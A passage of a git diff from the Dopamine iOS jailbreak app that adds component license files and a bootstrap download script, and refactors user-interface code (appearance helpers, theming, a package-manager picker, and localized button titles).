WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Application/Dopamine/Resources/LICENSE_plooshinit.md b/Application/Dopamine/Resources/LICENSE_plooshinit.md new file mode 100644 index 0000000000..683c3c7960 --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_plooshinit.md @@ -0,0 +1,98 @@ +plooshinit is licnesed under: + +MIT License + +Copyright 2023 Nick Chan + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +plooshinit contains parts from Embedded Artistry libc: + +MIT License + +Copyright (c) 2017 Embedded Artistry + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +plooshinit contains parts of lz4dec: + +MIT License + +Copyright (c) 2022 Siguza + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +plooshInit contains parts of Dopamine: + +MIT License + +Copyright (c) 2023 Lars Fröder (opa334) + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + diff --git a/Application/Dopamine/Resources/LICENSE_weightBufs.md b/Application/Dopamine/Resources/LICENSE_weightBufs.md new file mode 100644 index 0000000000..e2c89a8cfc --- /dev/null +++ b/Application/Dopamine/Resources/LICENSE_weightBufs.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Mohamed Ghannam + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/Application/Dopamine/Resources/download_bootstraps.sh b/Application/Dopamine/Resources/download_bootstraps.sh new file mode 100755 index 0000000000..7f6de3a377 --- /dev/null +++ b/Application/Dopamine/Resources/download_bootstraps.sh @@ -0,0 +1,4 @@ +set -e + +curl -L https://apt.procurs.us/bootstraps/1800/bootstrap-iphoneos-arm64.tar.zst --output bootstrap_1800.tar.zst +curl -L https://apt.procurs.us/bootstraps/1900/bootstrap-iphoneos-arm64.tar.zst --output bootstrap_1900.tar.zst diff --git a/Application/Dopamine/Resources/libjbdrw.deb b/Application/Dopamine/Resources/libjbdrw.deb deleted file mode 100644 index 0ad791b238..0000000000 Binary files a/Application/Dopamine/Resources/libjbdrw.deb and /dev/null differ diff --git a/Application/Dopamine/UI/ActionMenu/DOActionMenuButton.m b/Application/Dopamine/UI/ActionMenu/DOActionMenuButton.m index d017594a57..da1d40a7b9 100644 --- a/Application/Dopamine/UI/ActionMenu/DOActionMenuButton.m +++ b/Application/Dopamine/UI/ActionMenu/DOActionMenuButton.m @@ -6,7 +6,7 @@ // #import "DOActionMenuButton.h" -#import "GlobalAppearance.h" +#import "DOGlobalAppearance.h" @interface DOActionMenuButton () { UIView *_separator; @@ -20,9 +20,13 @@ @implementation DOActionMenuButton +(DOActionMenuButton*)buttonWithAction:(UIAction *)action chevron:(BOOL)chevron { - DOActionMenuButton *button = [DOActionMenuButton buttonWithConfiguration:[GlobalAppearance defaultButtonConfiguration] primaryAction:action]; + DOActionMenuButton *button = [DOActionMenuButton buttonWithConfiguration:[DOGlobalAppearance defaultButtonConfiguration] primaryAction:action]; + [button.titleLabel setAdjustsFontSizeToFitWidth:YES]; [button setContentHorizontalAlignment:UIControlContentHorizontalAlignmentLeft]; + if ([DOGlobalAppearance isRTL]) + [button setContentHorizontalAlignment:UIControlContentHorizontalAlignmentRight]; + if (chevron) { UIImage *chevronImage = [UIImage systemImageNamed:@"chevron.right"]; diff --git a/Application/Dopamine/UI/ActionMenu/DOActionMenuDelegate.h b/Application/Dopamine/UI/ActionMenu/DOActionMenuDelegate.h index f25a084348..016fbec037 100644 --- a/Application/Dopamine/UI/ActionMenu/DOActionMenuDelegate.h +++ b/Application/Dopamine/UI/ActionMenu/DOActionMenuDelegate.h @@ -12,6 +12,7 @@ NS_ASSUME_NONNULL_BEGIN @protocol DOActionMenuDelegate - (BOOL)actionMenuShowsChevronForAction:(UIAction *)action; +- (BOOL)actionMenuActionIsEnabled:(UIAction *)action; @end diff --git a/Application/Dopamine/UI/ActionMenu/DOActionMenuView.m b/Application/Dopamine/UI/ActionMenu/DOActionMenuView.m index f76d86c98b..c0d107361d 100644 --- a/Application/Dopamine/UI/ActionMenu/DOActionMenuView.m +++ b/Application/Dopamine/UI/ActionMenu/DOActionMenuView.m @@ -7,7 +7,8 @@ #import "DOActionMenuView.h" #import "DOActionMenuButton.h" -#import "GlobalAppearance.h" +#import "DOGlobalAppearance.h" +#import "DOThemeManager.h" @implementation DOActionMenuView @@ -17,7 +18,7 @@ - (instancetype)initWithActions:(NSArray *)actions delegate:(id - -NS_ASSUME_NONNULL_BEGIN - -@protocol DOActionMenuDelegate - -- (BOOL)actionMenuShowsChevronForAction:(UIAction *)action; - -@end - -NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/UI/GlobalAppearance.h b/Application/Dopamine/UI/DOGlobalAppearance.h similarity index 77% rename from Application/Dopamine/UI/GlobalAppearance.h rename to Application/Dopamine/UI/DOGlobalAppearance.h index b2c6679e75..e5683a5f37 100644 --- a/Application/Dopamine/UI/GlobalAppearance.h +++ b/Application/Dopamine/UI/DOGlobalAppearance.h @@ -15,11 +15,15 @@ NS_ASSUME_NONNULL_BEGIN #define UI_PADDING 30 //Action Menu #define UI_INNER_PADDING 20 +#define UI_INNER_PADDING_TINY 10 #define UI_INNER_TOP_PADDING 5 #define UI_ACTION_HEIGHT 73 #define UI_ACTION_HEIGHT_HOME_BTN 65 +#define UI_ACTION_HEIGHT_TINY 52 -@interface GlobalAppearance : NSObject +#define SE_PHONE_SIZE_CONST 568 + +@interface DOGlobalAppearance : NSObject + (UIImageSymbolConfiguration *)smallIconImageConfiguration; + (UIButtonConfiguration *)defaultButtonConfiguration; @@ -27,6 +31,9 @@ NS_ASSUME_NONNULL_BEGIN + (NSAttributedString*)mainSubtitleString:(NSString*)string; + (NSAttributedString*)secondarySubtitleString:(NSString*)string; + (BOOL)isHomeButtonDevice; ++ (UIColor*)windowColorWithAlpha:(float)alpha; ++ (BOOL)isRTL; ++ (BOOL)isSmallDevice; @end diff --git a/Application/Dopamine/UI/GlobalAppearance.m b/Application/Dopamine/UI/DOGlobalAppearance.m similarity index 89% rename from Application/Dopamine/UI/GlobalAppearance.m rename to Application/Dopamine/UI/DOGlobalAppearance.m index fe39150deb..62e2695625 100644 --- a/Application/Dopamine/UI/GlobalAppearance.m +++ b/Application/Dopamine/UI/DOGlobalAppearance.m @@ -5,10 +5,11 @@ // Created by Lars Fröder on 10.10.23. // -#import "GlobalAppearance.h" +#import "DOGlobalAppearance.h" #import +#import "DOThemeManager.h" -@implementation GlobalAppearance +@implementation DOGlobalAppearance + (UIImageSymbolConfiguration *)smallIconImageConfiguration { @@ -20,6 +21,7 @@ + (UIButtonConfiguration *)defaultButtonConfiguration UIButtonConfiguration *configuration = [UIButtonConfiguration plainButtonConfiguration]; configuration.imagePadding = 10; configuration.baseForegroundColor = [UIColor whiteColor]; + configuration.titleLineBreakMode = NSLineBreakByClipping; // IN DARK MODE, APPLE JUST ADDS WHITE WHEN A BUTTON IS HIGHLIGHTED WHEN IT'S SET UP VIA UIButtonConfiguration // UNFORTUNATELY THEY FORGOT ABOUT THE POSSIBILITY ABOUT THERE BEING A WHITE BUTTON, SO THOSE JUST DON'T SHOW ANY HIGHLIGHT COLOR @@ -69,7 +71,7 @@ + (UIButtonConfiguration *)defaultButtonConfiguration + (UIButtonConfiguration *)defaultButtonConfigurationWithImagePadding:(CGFloat)imagePadding { - UIButtonConfiguration *configuration = [GlobalAppearance defaultButtonConfiguration]; + UIButtonConfiguration *configuration = [DOGlobalAppearance defaultButtonConfiguration]; configuration.imagePadding = imagePadding; return configuration; } @@ -97,6 +99,15 @@ + (BOOL)isHomeButtonDevice return [[UIDevice currentDevice] userInterfaceIdiom] == UIUserInterfaceIdiomPhone && [[UIApplication sharedApplication] keyWindow].safeAreaInsets.bottom == 0; } ++ (BOOL)isRTL +{ + return [UIApplication sharedApplication].userInterfaceLayoutDirection == UIUserInterfaceLayoutDirectionRightToLeft; +} ++ (BOOL)isSmallDevice +{ + UIWindow *window = [[UIApplication sharedApplication] keyWindow]; + return window.frame.size.height < SE_PHONE_SIZE_CONST + 50; +} @end diff --git a/Application/Dopamine/UI/DOHeaderView.m b/Application/Dopamine/UI/DOHeaderView.m index e3d596e758..d1f31847e2 100644 --- a/Application/Dopamine/UI/DOHeaderView.m +++ b/Application/Dopamine/UI/DOHeaderView.m @@ -6,6 +6,7 @@ // #import "DOHeaderView.h" +#import "DOThemeManager.h" @interface DOHeaderView () @@ -53,6 +54,15 @@ -(id)initWithImage:(UIImage *)image subtitles:(NSArray *)s self.translatesAutoresizingMaskIntoConstraints = NO; + DOTheme *theme = [[DOThemeManager sharedInstance] enabledTheme]; + if (theme.titleShadow) + { + self.layer.shadowColor = [UIColor blackColor].CGColor; + self.layer.shadowOffset = CGSizeZero; + self.layer.shadowRadius = 30; + self.layer.shadowOpacity = 0.3; + } + } return self; } diff --git a/Application/Dopamine/UI/DOJailbreakButton.h b/Application/Dopamine/UI/DOJailbreakButton.h index 3389ce87fb..8eb45986b8 100644 --- a/Application/Dopamine/UI/DOJailbreakButton.h +++ b/Application/Dopamine/UI/DOJailbreakButton.h @@ -9,6 +9,8 @@ #import "DOActionMenuButton.h" #import "DOLyricsLogView.h" #import "DODebugLogView.h" +#import "DOPkgManagerPickerView.h" +#import NS_ASSUME_NONNULL_BEGIN @@ -16,9 +18,17 @@ NS_ASSUME_NONNULL_BEGIN @property DOActionMenuButton *button; @property UIView *logView; +@property DOPkgManagerPickerView *pkgManagerPickerView; + +@property (nonatomic, getter=isEnabled) BOOL enabled; +@property (nonatomic) BOOL didExpand; +@property (nonatomic, assign) pthread_mutex_t canStartJailbreak; - (instancetype)initWithAction:(UIAction *)actions; -- (void)showLog:(NSArray *)constraints; +- (void)expandButton:(NSArray *)constraints; + +- (void)lockMutex; +- (void)unlockMutex; @end diff --git a/Application/Dopamine/UI/DOJailbreakButton.m b/Application/Dopamine/UI/DOJailbreakButton.m index 43eff618d9..6ebfdb763d 100644 --- a/Application/Dopamine/UI/DOJailbreakButton.m +++ b/Application/Dopamine/UI/DOJailbreakButton.m @@ -8,7 +8,8 @@ #import "DOJailbreakButton.h" #import "DODoubleHelixIndicator.h" #import "DOUIManager.h" - +#import "DOGlobalAppearance.h" +#import "DOThemeManager.h" @implementation DOJailbreakButton @@ -16,7 +17,7 @@ - (instancetype)initWithAction:(UIAction *)actions { if (self = [super init]) { - self.backgroundColor = [UIColor colorWithWhite:0.25 alpha:0.45]; + self.backgroundColor = [DOThemeManager menuColorWithAlpha:1.0]; self.layer.cornerRadius = 14; self.layer.masksToBounds = YES; self.layer.cornerCurve = kCACornerCurveContinuous; @@ -36,14 +37,26 @@ - (instancetype)initWithAction:(UIAction *)actions return self; } -- (void)showLog:(NSArray *)constraints +- (void)expandButton:(NSArray *)constraints { - UIWindow *window = [[UIApplication sharedApplication] keyWindow]; + if (self.didExpand) + return; - [NSLayoutConstraint deactivateConstraints:constraints]; + //We're doing some setup, let's lock the mutex + [self lockMutex]; + + self.didExpand = TRUE; + + UIWindow *window = [[UIApplication sharedApplication] keyWindow]; float topPadding = (window.frame.size.height * (1 - 0.74)); topPadding += 35; + + [self setupLog: topPadding]; + [self setupPackageManagerPicker: topPadding]; + + [NSLayoutConstraint deactivateConstraints:constraints]; + [NSLayoutConstraint activateConstraints:@[ [self.leadingAnchor constraintEqualToAnchor:window.leadingAnchor], @@ -53,19 +66,25 @@ - (void)showLog:(NSArray *)constraints ]]; [self.button setUserInteractionEnabled:NO]; - + [UIView animateWithDuration: 0.2 animations:^{ [self.button setAlpha:0.0]; }]; [UIView animateWithDuration:0.75 delay:0.0 usingSpringWithDamping:0.9 initialSpringVelocity:2.0 options: UIViewAnimationOptionCurveEaseInOut animations:^{ [window layoutIfNeeded]; [self.button setAlpha:0.0]; } completion:nil]; - [self setupLog: topPadding]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.25 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ [self setupTitle]; }); + + if ([[DOUIManager sharedInstance] enabledPackageManagerKeys].count > 0) + { + //we can start, unlock the mutex + [self unlockMutex]; + } + } --(void)setupLog: (float)topPadding +- (void)setupLog: (float)topPadding { UIWindow *window = [[UIApplication sharedApplication] keyWindow]; @@ -85,15 +104,49 @@ -(void)setupLog: (float)topPadding [self.logView.topAnchor constraintEqualToAnchor:window.topAnchor constant:topPadding], [self.logView.bottomAnchor constraintEqualToAnchor:window.bottomAnchor constant:0] ]]; + + [window layoutIfNeeded]; +} + +- (void)setupPackageManagerPicker: (float)topPadding +{ + UIWindow *window = [[UIApplication sharedApplication] keyWindow]; + + if ([[DOUIManager sharedInstance] enabledPackageManagerKeys].count > 0) + return; + + self.pkgManagerPickerView = [[DOPkgManagerPickerView alloc] initWithCallback:^(BOOL success) { + [self.pkgManagerPickerView removeFromSuperview]; + self.logView.hidden = NO; + [self unlockMutex]; + }]; + + self.pkgManagerPickerView.translatesAutoresizingMaskIntoConstraints = NO; + self.pkgManagerPickerView.alpha = 0.0; + + [self addSubview:self.pkgManagerPickerView]; + + [NSLayoutConstraint activateConstraints:@[ + [self.pkgManagerPickerView.leadingAnchor constraintEqualToAnchor:window.leadingAnchor], + [self.pkgManagerPickerView.trailingAnchor constraintEqualToAnchor:window.trailingAnchor], + [self.pkgManagerPickerView.topAnchor constraintEqualToAnchor:window.topAnchor constant:topPadding], + [self.pkgManagerPickerView.bottomAnchor constraintEqualToAnchor:window.bottomAnchor constant:0] + ]]; + + [UIView animateWithDuration:0.25 delay:0.25 options: UIViewAnimationOptionCurveEaseInOut animations:^{ + self.pkgManagerPickerView.alpha = 1.0; + } completion:nil]; + + [window layoutIfNeeded]; } --(void)setupTitle +- (void)setupTitle { UIWindow *window = [[UIApplication sharedApplication] keyWindow]; UILabel *titleLabel = [[UILabel alloc] init]; titleLabel.translatesAutoresizingMaskIntoConstraints = NO; - titleLabel.text = @"Jailbreaking"; + titleLabel.text = DOLocalizedString(@"Status_Title_Jailbreaking"); titleLabel.textColor = [UIColor whiteColor]; titleLabel.font = [UIFont systemFontOfSize:18 weight:UIFontWeightRegular]; titleLabel.textAlignment = NSTextAlignmentCenter; @@ -121,4 +174,35 @@ -(void)setupTitle ]]; } +- (void)setEnabled:(BOOL)enabled +{ + self.button.userInteractionEnabled = enabled; + if (enabled) { + self.alpha = 1.0; + } else { + self.alpha = 0.7; + } +} + +- (BOOL)isEnabled +{ + return self.button.userInteractionEnabled; +} + +#pragma mark - Mutex + +-(void)lockMutex +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + pthread_mutex_init(&self->_canStartJailbreak, NULL); + }); + pthread_mutex_lock(&self->_canStartJailbreak); +} + +-(void)unlockMutex +{ + pthread_mutex_unlock(&self->_canStartJailbreak); +} + @end diff --git a/Application/Dopamine/UI/DOMainViewController.h b/Application/Dopamine/UI/DOMainViewController.h index 9ca008d66e..085c31d03a 100644 --- a/Application/Dopamine/UI/DOMainViewController.h +++ b/Application/Dopamine/UI/DOMainViewController.h @@ -8,7 +8,7 @@ #import #import "DOActionMenuDelegate.h" #import "DOHeaderView.h" -#import "GlobalAppearance.h" +#import "DOGlobalAppearance.h" #import "DOActionMenuView.h" #import "DOCreditsViewController.h" #import "DOSettingsController.h" diff --git a/Application/Dopamine/UI/DOMainViewController.m b/Application/Dopamine/UI/DOMainViewController.m index 84017eaa8b..d0472f6fe7 100644 --- a/Application/Dopamine/UI/DOMainViewController.m +++ b/Application/Dopamine/UI/DOMainViewController.m @@ -7,14 +7,22 @@ #import "DOMainViewController.h" #import "DOUIManager.h" -#import "EnvironmentManager.h" -#import "Jailbreaker.h" -#import "GlobalAppearance.h" +#import "DOEnvironmentManager.h" +#import "DOJailbreaker.h" +#import "DOGlobalAppearance.h" +#import "DOActionMenuButton.h" +#import "DOUpdateViewController.h" +#import "DOLogCrashViewController.h" +#import +#import @interface DOMainViewController () @property DOJailbreakButton *jailbreakBtn; @property NSArray *jailbreakButtonConstraints; +@property DOActionMenuButton *updateButton; +@property(nonatomic) BOOL hideStatusBar; +@property(nonatomic) BOOL hideHomeIndicator; @end @@ -29,7 +37,7 @@ -(void)setupStack { UIStackView *stackView = [[UIStackView alloc] init]; [stackView setAxis:UILayoutConstraintAxisVertical]; - [stackView setAlignment:UIStackViewAlignmentLeading]; + [stackView setAlignment:UIStackViewAlignmentTrailing]; [stackView setDistribution:UIStackViewDistributionEqualSpacing]; [stackView setTranslatesAutoresizingMaskIntoConstraints:NO]; @@ -40,7 +48,7 @@ -(void)setupStack [NSLayoutConstraint activateConstraints:@[ [stackView.centerYAnchor constraintEqualToAnchor:self.view.centerYAnchor constant:statusBarHeight],//-35 - [stackView.heightAnchor constraintEqualToAnchor:self.view.heightAnchor multiplier:[GlobalAppearance isHomeButtonDevice] ? 0.78 : 0.73] + [stackView.heightAnchor constraintEqualToAnchor:self.view.heightAnchor multiplier:[DOGlobalAppearance isHomeButtonDevice] ? 0.78 : 0.73] ]]; if ([[UIDevice currentDevice] userInterfaceIdiom] == UIUserInterfaceIdiomPad) @@ -66,8 +74,8 @@ -(void)setupStack //Header DOHeaderView *headerView = [[DOHeaderView alloc] initWithImage: [UIImage imageNamed:@"Dopamine"] subtitles: @[ - [GlobalAppearance mainSubtitleString:[[EnvironmentManager sharedManager] versionSupportString]], - [GlobalAppearance secondarySubtitleString:@"by opa334, évelyne"], + [DOGlobalAppearance mainSubtitleString:[[DOEnvironmentManager sharedManager] versionSupportString]], + [DOGlobalAppearance secondarySubtitleString:DOLocalizedString(@"Credits_Made_By")], ]]; [stackView addArrangedSubview:headerView]; @@ -79,15 +87,21 @@ -(void)setupStack //Action Menu DOActionMenuView *actionView = [[DOActionMenuView alloc] initWithActions:@[ - [UIAction actionWithTitle:@"Settings" image:[UIImage systemImageNamed:@"gearshape" withConfiguration:[GlobalAppearance smallIconImageConfiguration]] identifier:@"settings" handler:^(__kindof UIAction * _Nonnull action) { - [(UINavigationController*)(self.parentViewController) pushViewController:[[DOSettingsController alloc] init] animated:YES]; + [UIAction actionWithTitle:DOLocalizedString(@"Menu_Settings_Title") image:[UIImage systemImageNamed:@"gearshape" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"settings" handler:^(__kindof UIAction * _Nonnull action) { + [self.navigationController pushViewController:[[DOSettingsController alloc] init] animated:YES]; }], - [UIAction actionWithTitle:@"Respring" image:[UIImage systemImageNamed:@"arrow.clockwise" withConfiguration:[GlobalAppearance smallIconImageConfiguration]] identifier:@"respring" handler:^(__kindof UIAction * _Nonnull action) { + [UIAction actionWithTitle:DOLocalizedString(@"Menu_Restart_SpringBoard_Title") image:[UIImage systemImageNamed:@"arrow.clockwise" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"respring" handler:^(__kindof UIAction * _Nonnull action) { + [self fadeToBlack:^{ + [[DOEnvironmentManager sharedManager] respring]; + }]; }], - [UIAction actionWithTitle:@"Reboot Userspace" image:[UIImage systemImageNamed:@"arrow.clockwise.circle" withConfiguration:[GlobalAppearance smallIconImageConfiguration]] identifier:@"reboot-userspace" handler:^(__kindof UIAction * _Nonnull action) { + [UIAction actionWithTitle:DOLocalizedString(@"Menu_Reboot_Userspace_Title") image:[UIImage systemImageNamed:@"arrow.clockwise.circle" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"reboot-userspace" handler:^(__kindof UIAction * _Nonnull action) { + [self fadeToBlack:^{ + [[DOEnvironmentManager sharedManager] rebootUserspace]; + }]; }], - [UIAction actionWithTitle:@"Credits" image:[UIImage systemImageNamed:@"info.circle" withConfiguration:[GlobalAppearance smallIconImageConfiguration]] identifier:@"credits" handler:^(__kindof UIAction * _Nonnull action) { - [(UINavigationController*)(self.parentViewController) pushViewController:[[DOCreditsViewController alloc] init] animated:YES]; + [UIAction actionWithTitle:DOLocalizedString(@"Menu_Credits_Title") image:[UIImage systemImageNamed:@"info.circle" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]] identifier:@"credits" handler:^(__kindof UIAction * _Nonnull action) { + [self.navigationController pushViewController:[[DOCreditsViewController alloc] init] animated:YES]; }] ] delegate:self]; @@ -107,54 +121,31 @@ -(void)setupStack ]]; //Jailbreak Button - self.jailbreakBtn = [[DOJailbreakButton alloc] initWithAction: [UIAction actionWithTitle:@"Jailbreak" image:[UIImage systemImageNamed:@"lock.open" withConfiguration:[GlobalAppearance smallIconImageConfiguration]] identifier:@"jailbreak" handler:^(__kindof UIAction * _Nonnull action) { + BOOL isJailbroken = [[DOEnvironmentManager sharedManager] isJailbroken]; + BOOL isSupported = [[DOEnvironmentManager sharedManager] isSupported]; + + NSString *jailbreakButtonTitle = [self jailbreakButtonTitle]; + + UIImage *jailbreakButtonImage; + if (isSupported) + jailbreakButtonImage = [UIImage systemImageNamed:@"lock.open" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]]; + else + jailbreakButtonImage = [UIImage systemImageNamed:@"lock.slash" withConfiguration:[DOGlobalAppearance smallIconImageConfiguration]]; + + self.jailbreakBtn = [[DOJailbreakButton alloc] initWithAction: [UIAction actionWithTitle:jailbreakButtonTitle image:jailbreakButtonImage identifier:@"jailbreak" handler:^(__kindof UIAction * _Nonnull action) { [actionView hide]; - [self.jailbreakBtn showLog: self.jailbreakButtonConstraints]; + [self.jailbreakBtn expandButton: self.jailbreakButtonConstraints]; + self.updateButton.userInteractionEnabled = NO; [UIView animateWithDuration:0.75 delay:0 usingSpringWithDamping:0.9 initialSpringVelocity:2.0 options: UIViewAnimationOptionCurveEaseInOut animations:^{ [headerView setTransform:CGAffineTransformMakeTranslation(0, -25)]; + self.updateButton.alpha = 0; } completion:nil]; - - Jailbreaker *jailbreaker = [[Jailbreaker alloc] init]; - - //[self simulateJailbreak]; - //[[DOUIManager sharedInstance] startLogCapture]; this fucks up everything ? - [[DOUIManager sharedInstance] sendLog:@"Jailbreaking" debug:NO]; + [self startJailbreak]; - //dispatch async so the UI can update as this blocks the main thread - dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{ - NSError *error = [jailbreaker run]; - NSString *title; - NSString *message; - - if (error) { - NSLog(@"FAIL: %@", error); - title = @"Error"; - message = error.localizedDescription; - } - else { - title = @"Success"; - message = @""; - [[DOUIManager sharedInstance] completeJailbreak]; - } - - [[DOUIManager sharedInstance] sendLog:@"Rebooting Userspace" debug: NO]; - - dispatch_async(dispatch_get_main_queue(), ^{ - UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert]; - UIAlertAction *doneAction = [UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleDefault handler:^(UIAlertAction *action){ - if (!error) { - [jailbreaker finalize]; - } - }]; - [alertController addAction:doneAction]; - - [self presentViewController:alertController animated:YES completion:nil]; - }); - }); - }]]; + self.jailbreakBtn.enabled = !isJailbroken && isSupported; [self.view addSubview:self.jailbreakBtn]; @@ -165,9 +156,133 @@ -(void)setupStack [self.jailbreakBtn.centerYAnchor constraintEqualToAnchor:buttonPlaceHolder.centerYAnchor] ])]; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.1 * NSEC_PER_SEC), dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_LOW, 0), ^{ + if ([[DOUIManager sharedInstance] environmentUpdateAvailable]) + { + dispatch_async(dispatch_get_main_queue(), ^{ + [self setupUpdateAvailable:YES]; + }); + } + else if ([[DOUIManager sharedInstance] isUpdateAvailable]) + { + dispatch_async(dispatch_get_main_queue(), ^{ + [self setupUpdateAvailable:NO]; + }); + } + }); } +- (NSString *)jailbreakButtonTitle +{ + BOOL isJailbroken = [[DOEnvironmentManager sharedManager] isJailbroken]; + BOOL isSupported = [[DOEnvironmentManager sharedManager] isSupported]; + BOOL removeJailbreakEnabled = [[DOPreferenceManager sharedManager] boolPreferenceValueForKey:@"removeJailbreakEnabled" fallback:NO]; + + NSString *jailbreakButtonTitle = DOLocalizedString(@"Button_Jailbreak_Title"); + if (!isSupported) + jailbreakButtonTitle = DOLocalizedString(@"Unsupported"); + else if (isJailbroken) + jailbreakButtonTitle = DOLocalizedString(@"Status_Title_Jailbroken"); + else if (removeJailbreakEnabled) + jailbreakButtonTitle = DOLocalizedString(@"Button_Remove_Jailbreak"); + + return jailbreakButtonTitle; +} +- (void)viewWillAppear:(BOOL)animated +{ + [super viewWillAppear:animated]; + [self.jailbreakBtn.button setTitle:[self jailbreakButtonTitle] forState:UIControlStateNormal]; +} + +- (void)startJailbreak +{ + DOJailbreaker *jailbreaker = [[DOJailbreaker alloc] init]; + + [[DOUIManager sharedInstance] startLogCapture]; + + 